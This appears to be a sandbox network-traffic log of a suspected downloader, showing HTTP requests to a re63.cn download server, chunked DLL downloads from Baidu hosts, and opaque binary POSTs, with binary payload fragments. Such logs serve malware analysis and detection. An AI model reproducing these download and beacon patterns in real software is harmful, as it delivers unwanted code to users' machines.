Content-Length: 432976<br>

Connection: close<br>

ETag: 44edff85d12e091f0b129f05a3f2a042<br>

Last-Modified: Tue, 06 May 2014 07:48:08 GMT<br>

Expires: Tue, 12 Aug 2014 14:59:34 GMT<br>

Age: 186654<br>

Content-Range: bytes 491520-924495/924496<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: 45FD47DB9BA063A62A2F1AF299C66DD6<br>

x-bs-request-id: MTAuNDYuMTU3LjIzOjgwODA6MTU1MDU3MDk3NDoyOC9KdWwvMjAxNCAyMjo1ODo0MyA=<br>

x-bs-meta-crc32: 3569711378<br>

Content-MD5: 44edff85d12e091f0b129f05a3f2a042<br>

<<< skipped >>>

<font color="red">GET /downcontainer/downLoadList.do HTTP/1.1<br>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: admin.downloader.re63.cn<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Mon, 11 Aug 2014 18:51:01 GMT<br>

Content-Type: text/html; charset=UTF-8<br>

Transfer-Encoding: chunked<br>

Connection: keep-alive<br>

Vary: Accept-Encoding<br><pre>2ef..<?xml version='1.0' encoding='UTF-8'?><setup><prod<br>uct id='0' oemId='0' name='guagua' companyName='......' productFullNam<br>e='......' version='5.1.4' /><product id='0' oemId='1' name='gua<br>gua' companyName='......' productFullName='......2' version='5.1.4' /&<br>gt;<product id='0' oemId='2' name='guagua' companyName='......' pro<br>ductFullName='......-............' version='5.1.4' /><product id<br>='0' oemId='3' name='guagua' companyName='......' productFullName='...<br>...-......-............' version='5.1.4' /><product id='0' oemId<br>='4' name='guagua' companyName='......' productFullName='......-......<br>-............' version='5.1.4' /><product id='0' oemId='5' name=<br>'guagua' companyName='......' productFullName='......-......-.........<br>...' version='5.1.4' /></setup>..0..</font>....</pre></font><br><br><font color="red">GET /downcontainer/downLoadForGuaGua.do?recid=77150006814 HTTP/1.1<br>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: admin.downloader.re63.cn<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Mon, 11 Aug 2014 18:51:02 GMT<br>

Transfer-Encoding: chunked<br>

<<< skipped >>>

<font color="red">POST / HTTP/1.1<br>

Connection: Keep-Alive<br>

Content-Length: 77<br>

Content-Type: application/octet-stream<br>

Host: p.x.baidu.com<br>

Keep-Alive: timeout=600,max=1000<br>

<br>

...A........." 8445a55eb3350c912a726b3795bf47c6(.........2.8.@.H.P.X.` ......</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: iYuntianSvr<br>

Content-Type: application/octet-stream<br>

Keep-Alive: timeout=30<br>

Connection: Keep-Alive<br>

Content-Length: 133<br><pre>...y........." 8445a55eb3350c912a726b3795bf47c6(.........28.....$..j..<br>>.(.Cgb...D{.h.6Li......ZA...[............d..8.@.H.P.X.` ......</fo<br>nt>....</pre></font><br><br><font color="red">POST / HTTP/1.1<br>

Connection: Keep-Alive<br>

Content-Length: 157<br>

Content-Type: application/octet-stream<br>

Host: p.x.baidu.com<br>

Keep-Alive: timeout=600,max=1000<br>

<br>

...y........." 8445a55eb3350c912a726b3795bf47c6(.........28.....$..j..>.(.Cgb...D{.h6Li......ZA...[............d..8.@.H.P.X.` ......t&......E.P...`.`k}.....</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: iYuntianSvr<br>

Content-Type: application/octet-stream<br>

Keep-Alive: timeout=30<br>

Connection: Keep-Alive<br>

Content-Length: 941<br><pre>...y........." 8445a55eb3350c912a726b3795bf47c6(.........28.....$..j..<br>>.(.Cgb...D{.h.6Li......ZA...[............d..8.@.H.P.X.` ...(...w.=<br>......1H..xg.00B...Oe.......^X....h....eu.t..V.k.3 ......f.*b..B.x..;.<br>M.'...........j.."..U..:.$?.......x..pT..ku....R....1..../.4:.Sm..:.6.<br>..t@6.,..I..71UmsjD..c..]..G*cQ1.n..5..Z.n|....i.D'....._.M.......2c..<br><rjY.h...f......)....................v.\.m......$....I.u.G}...F.r..<br>....>f74,......BxhTz5*....B\.S...IHZ....8..[....u.%..c....K.....8..<br>..t.....E.../..4..Dk....o....].wSwf..7m>.iD..x....Q5.&...>9@.m%9<br>..m...T &).d\...(.......$..$.%EV............5..F?I mT.. ..t..hT.S3{...<br>.6N...w.......L.....!r.f..i...4..........f...#......_N:.<[9..(..G.&<br>gt;x...)t..4.\...q..K.}...-.s......#.h.. @...."F...i.._XgV.....@.N.. &<br>...:..hc|....i..`.W...D.*...Q..6..c.Q...E.A)...r>./.:4.Us...Q.....b<br>..)........R...<.u...A..F.....c....d..g..{$....T.........Ng.?...oo.<br>..A..[.$t......w.e&.....G?P.....inq......DU...".....1....w..</pre></font><br><br

<font color="red">GET /sw-search-shadu/client/dllv3/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=425984-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:50:31 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 781536<br>

Connection: close<br>

ETag: 30cbc602ada7cdfb0346038c05996d84<br>

Last-Modified: Thu, 20 Jun 2013 06:27:51 GMT<br>

Expires: Tue, 12 Aug 2014 14:59:13 GMT<br>

Age: 186678<br>

Content-Range: bytes 425984-1207519/1207520<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: 21BEDF37C0B754EE14FE2C8B0543B5C0<br>

x-bs-request-id: MTAuNTguMzQuMTk6ODA4MDoxMzEyMjA1MTYxOjI4L0p1bC8yMDE0IDIyOjU5OjA1IA==<br>

x-bs-meta-crc32: 2965621797<br>

Content-MD5: 30cbc602ada7cdfb0346038c05996d84<br>

<<< skipped >>>

<font color="red">POST / HTTP/1.1<br>

Connection: Keep-Alive<br>

Content-Length: 68<br>

Content-Type: application/octet-stream<br>

Host: s.x.baidu.com<br>

Keep-Alive: timeout=600,max=1000<br>

<br>

...8........" 8445a55eb3350c912a726b3795bf47c6(.2.8.@.H.P.X.` ......</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: iYuntianSvr<br>

Content-Type: application/octet-stream<br>

Keep-Alive: timeout=30<br>

Connection: Keep-Alive<br>

Content-Length: 124<br><pre>...p........" 8445a55eb3350c912a726b3795bf47c6(.28{.}L..fwD...........<br>u..8..(8_.9.........v.>.E.{...W...Gc8.@.H.P.X.` ........</pre></font><br><br

<font color="red">GET /sw-search-sp/client2/common/patch/19562458020/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=524288-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:50:30 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 400208<br>

Connection: close<br>

ETag: 44edff85d12e091f0b129f05a3f2a042<br>

Last-Modified: Tue, 06 May 2014 07:48:08 GMT<br>

Expires: Tue, 12 Aug 2014 14:59:34 GMT<br>

Age: 186656<br>

Content-Range: bytes 524288-924495/924496<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: 45FD47DB9BA063A62A2F1AF299C66DD6<br>

x-bs-request-id: MTAuNDYuMTU3LjIzOjgwODA6MTU1MDU3MDk3NDoyOC9KdWwvMjAxNCAyMjo1ODo0MyA=<br>

x-bs-meta-crc32: 3569711378<br>

Content-MD5: 44edff85d12e091f0b129f05a3f2a042<br>

x-bs-client-ip: MTgwLjc2LjIyLjc1<br><pre>d.......3..\$..|$L;.u<h....h.T..j..L$ .\$X.a....\$D.....h.......\$.<br>.....P.L$P.........D$D....t..L$..X...j.h....h....j.W.L7.......u.VW.&..<br>.....L$<d......Y_^[..8...P...f....L$<d......Y_^[..8....j.h....d.<br>....P..,SVW.....3.P.D$<d.......3..\$..|$L;.u<hp...h.T..j..L$ .\$<br>X......\$D.....h.......\$......P.L$P.N.......D$D....t..L$..x...j.hH...<br>h....j.W.l6.......u.VW.F.......L$<d......Y_^[..8...P........L$<d<br>......Y_^[..8....QS.\$.VW..3..|$..F..C.P.....9{.~WU.o..F..N.;.}.......<br>...F....%.F.;.u....P........n...7...V.......n......Q......</pre></font><br><br

<font color="red">GET /client/dllv3/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=1146880-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 16:02:42 GMT<br>

Date: Sun, 10 Aug 2014 16:02:42 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Mon, 17 Jun 2013 13:07:38 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 1146880-1207519/1207520<br>

Content-Length: 60640<br>

Age: 96470<br>

Via: 1.0 sdytwt88:88 (Cdn Cache Server V2.0), 1.0 tswt76:8104 (Cdn Cache Server V2.0), 1.0 shiben11:10003 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMReport.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllv5/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=720896-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 15:52:41 GMT<br>

Date: Sun, 10 Aug 2014 15:52:41 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Wed, 30 Apr 2014 05:24:32 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 720896-1207519/1207520<br>

Content-Length: 486624<br>

Age: 97070<br>

Via: 1.0 sdytwt85:88 (Cdn Cache Server V2.0), 1.0 tswt79:80 (Cdn Cache Server V2.0), 1.0 shiben14:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMReport.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=14417920-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:51:07 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 11586384<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>

Age: 186628<br>

Content-Range: bytes 14417920-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /support/mini/fyminiloader-min.js HTTP/1.1<br>

Accept: */*<br>

Referer: hXXp://tv.aiqingzhihui.com/zhibo2.html?id=pczh_107_306.exe&en=2014-8-11&go=<br>

Accept-Language: en-us<br>

Accept-Encoding: gzip, deflate<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

Host: static.m0dlcdn.kukuplay.com<br>

Connection: Keep-Alive<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Content-Type: application/x-javascript<br>

Last-Modified: Fri, 11 Jan 2013 07:55:33 GMT<br>

Expires: Thu, 31 Dec 2037 23:55:55 GMT<br>

Cache-Control: max-age=315360000<br>

Content-Encoding: gzip<br>

X-Via-Cache: sx<br>

Content-Length: 363<br>

Accept-Ranges: bytes<br>

Date: Mon, 11 Aug 2014 14:06:11 GMT<br>

Age: 2959800<br>

Connection: keep-alive<br>

X-cdn: ydcdn<br>

X-hit-at: sx<br><pre>..........}Q]O.0.. .&.f..l..:...MtO..........$.wK...}:...s...U.J.B4t..<br>9f..5W6..>W|.O.W... ...j]K%..!g..I.....!x.&>..s......>.0H~..s<br>.no...>....L.....@&.....>.*:....J.h....97K.....h.....B.&..o$x.5*<br>..........tQc[)Z..d......l....g.h.X].A,.g.8N7(08.............xZ....1".<br>k.....,m... ...T3..X. .G..K..q.q...` .._-..q.a....]UR..........~<\.<br>L......A.GR)n^>..p1..e.B.......HTTP/1.1 200 OK..Content-Type: appli<br>cation/x-javascript..Last-Modified: Fri, 11 Jan 2013 07:55:33 GMT..Exp<br>ires: Thu, 31 Dec 2037 23:55:55 GMT..Cache-Control: max-age=315360000.<br>.Content-Encoding: gzip..X-Via-Cache: sx..Content-Length: 363..Accept-<br>Ranges: bytes..Date: Mon, 11 Aug 2014 14:06:11 GMT..Age: 2959800..Conn<br>ection: keep-alive..X-cdn: ydcdn..X-hit-at: sx............}Q]O.0.. .&.<br>f..l..:...MtO..........$.wK...}:...s...U.J.B4t..9f..5W6..>W|.O.W...<br> ...j]K%..!g..I.....!x.&>..s......>.0H~..s.no...>....L.....@&<br>.....>.*:....J.h....97K.....h.....B.&..o$x.5*..........tQc[)Z..d...<br>...l....g.h.X].A,.g.8N7(08.............xZ....1".k.....,m... ...T3..X. <br>.G..K..q.q...` .._-..q.a....]UR..........~<\.L......A.GR)n^>..p1<br>..e.B.........</pre></font><br><br

<font color="red">GET /client/dllv3/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=819200-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 16:02:42 GMT<br>

Date: Sun, 10 Aug 2014 16:02:42 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Mon, 17 Jun 2013 13:07:38 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 819200-1207519/1207520<br>

Content-Length: 388320<br>

Age: 96469<br>

Via: 1.0 sdytwt88:88 (Cdn Cache Server V2.0), 1.0 tswt76:8104 (Cdn Cache Server V2.0), 1.0 shiben11:10003 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMReport.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/common/patch/19035267599/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=1015808-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:50:31 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 191712<br>

Connection: close<br>

ETag: 30cbc602ada7cdfb0346038c05996d84<br>

Last-Modified: Wed, 30 Apr 2014 05:22:28 GMT<br>

Expires: Tue, 12 Aug 2014 14:59:15 GMT<br>

Age: 186677<br>

Content-Range: bytes 1015808-1207519/1207520<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DC8389F18378C004A7004B30F60323AD<br>

x-bs-request-id: MTAuNTcuMTIyLjM1OjgwODA6MjM1OTEyNDY2MzoyOC9KdWwvMjAxNCAyMjo1OTowNiA=<br>

x-bs-meta-crc32: 2965621797<br>

Content-MD5: 30cbc602ada7cdfb0346038c05996d84<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=19529728-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:50:40 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 6474576<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>

Age: 186601<br>

Content-Range: bytes 19529728-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=131072-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:50:40 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 25873232<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>

Age: 186601<br>

Content-Range: bytes 131072-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=524288-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:50:50 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 25480016<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>

Age: 186611<br>

Content-Range: bytes 524288-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=589824-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Mon, 08 Sep 2014 06:25:46 GMT<br>

Date: Sat, 09 Aug 2014 06:25:46 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 589824-924495/924496<br>

Content-Length: 334672<br>

Age: 217482<br>

Via: 1.0 wzpy220:8080 (Cdn Cache Server V2.0), 1.0 shiben10:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllv5/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=524288-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 15:52:41 GMT<br>

Date: Sun, 10 Aug 2014 15:52:41 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Wed, 30 Apr 2014 05:24:32 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 524288-1207519/1207520<br>

Content-Length: 683232<br>

Age: 97070<br>

Via: 1.0 sdytwt85:88 (Cdn Cache Server V2.0), 1.0 tswt79:80 (Cdn Cache Server V2.0), 1.0 shiben14:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMReport.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=15335424-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:51:24 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 10668880<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>

Age: 186645<br>

Content-Range: bytes 15335424-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /client/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=622592-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 16:02:45 GMT<br>

Date: Sun, 10 Aug 2014 16:02:45 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Wed, 15 May 2013 01:54:31 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 622592-1207519/1207520<br>

Content-Length: 584928<br>

Age: 96466<br>

Via: 1.0 fjqz153:8080 (Cdn Cache Server V2.0), 1.0 sdbz73:8104 (Cdn Cache Server V2.0), 1.0 shiben10:51020 (Cdn Cache Server V2.0)<br>

Connection: close<br>

